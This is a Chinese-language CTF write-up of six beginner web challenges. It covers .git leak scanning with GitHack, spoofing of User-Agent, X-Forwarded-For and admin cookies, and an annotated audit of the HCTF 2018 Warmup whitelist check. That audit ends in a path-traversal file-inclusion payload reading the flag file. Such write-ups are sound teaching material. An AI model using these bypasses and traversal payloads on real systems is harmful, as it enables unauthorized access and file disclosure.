目录
[第五空间 2021]WebFTP
[SWPUCTF 2021 新生赛]Do_you_know_http
[NCTF 2018]签到题
[HNCTF 2022 Week1]What is Web
[HNCTF 2022 Week1]Interesting_http
[HCTF 2018]Warmup
[第五空间 2021]WebFTP
使用dirsearch扫描,发现有git泄露
使用GitHack克隆目录,但提示为空仓库
python2 GitHack.py http://node4.anna.nssctf.cn:28914/?m=login&a=in/.git
还有其他目录,在phpinfo.php中发现flag
[SWPUCTF 2021 新生赛]Do_you_know_http
打开环境提示说,请使用“WLLM”浏览器!
bp抓包修改UA头为WLLM,发包后提示只能本地访问 id为183.224.81.105
添加X-Forwarded-For:127.0.0.1,回显可看到地址已经变为本地
发包得flag
[NCTF 2018]签到题
抓包发到重发器,回显后发现flag。
[HNCTF 2022 Week1]What is Web
跟上题一样,bp抓包发到重发器,回显后发现flag(base64解码)。
[HNCTF 2022 Week1]Interesting_http
打开环境 提示 POST 发包,参数名为 want
使用HackBar POST传参want,提示有flag
令want=flag,提示不是 admin 用户
bp抓包将cookie中的user改为admin
改了之后又提示 不是本地,添加xff(X-Forwarded-For:127.0.0.1)回显得到flag。
[HCTF 2018]Warmup
[HCTF 2018]WarmUp(代码审不好,看大佬wp)
打开环境只有一个表情包,查看源代码发现source.php
访问source.php,得到代码
代码审计:
"source.php","hint"=>"hint.php"];
//定义了一个名为emmm的类,在该类中有一个静态方法checkFile用于检查要包含的文件是否在白名单中,白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对。
// 如果没有设置$page变量或者$page不是字符串,则返回错误信息
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
// 如果$page在白名单中,则返回true
if (in_array($page, $whitelist)) {
return true;
}
// 截取$page字符串,直到第一个问号的位置
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
// 如果截取后的$_page在白名单中,则返回true
if (in_array($_page, $whitelist)) {
return true;
}
// 对$page进行URL解码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 如果截取后的$_page在白名单中,则返回true
if (in_array($_page, $whitelist)) {
return true;
}
// 如果都不满足条件,则返回错误信息
echo "you can't see it";
return false;
}
}
符号点 ‘.’ 是 PHP 中的字符串连接运算符,它用于将两个字符串连接在一起,形成一个更长的字符串。
它将 $page 变量的值和一个问号字符 ‘?’ 连接在一起,形成一个新的字符串,在这个新的字符串中查找问号是否存在,那么很明显肯定能找到。
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') );
//先使用mb_strpos函数找到$page中第一个问号的位置,然后使用mb_substr函数将问号之前的部分作为$_page进行处理。
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; }else { echo "
构造payload,得到flag。
source.php?file=hint.php?/../../../../ffffllllaaaagggg 或 source.php?file=source.php?/../../../../ffffllllaaaagggg //因为当前的source.php一般是在html目录下,往上是www,var,然后到根目录。 flag一般就放在根目录下面,这里还有一个hint.php?/或source.php?/,因此需要返回四层才能到根目录。 即 hint.php?/var/www/html/ffffllllaaaagggg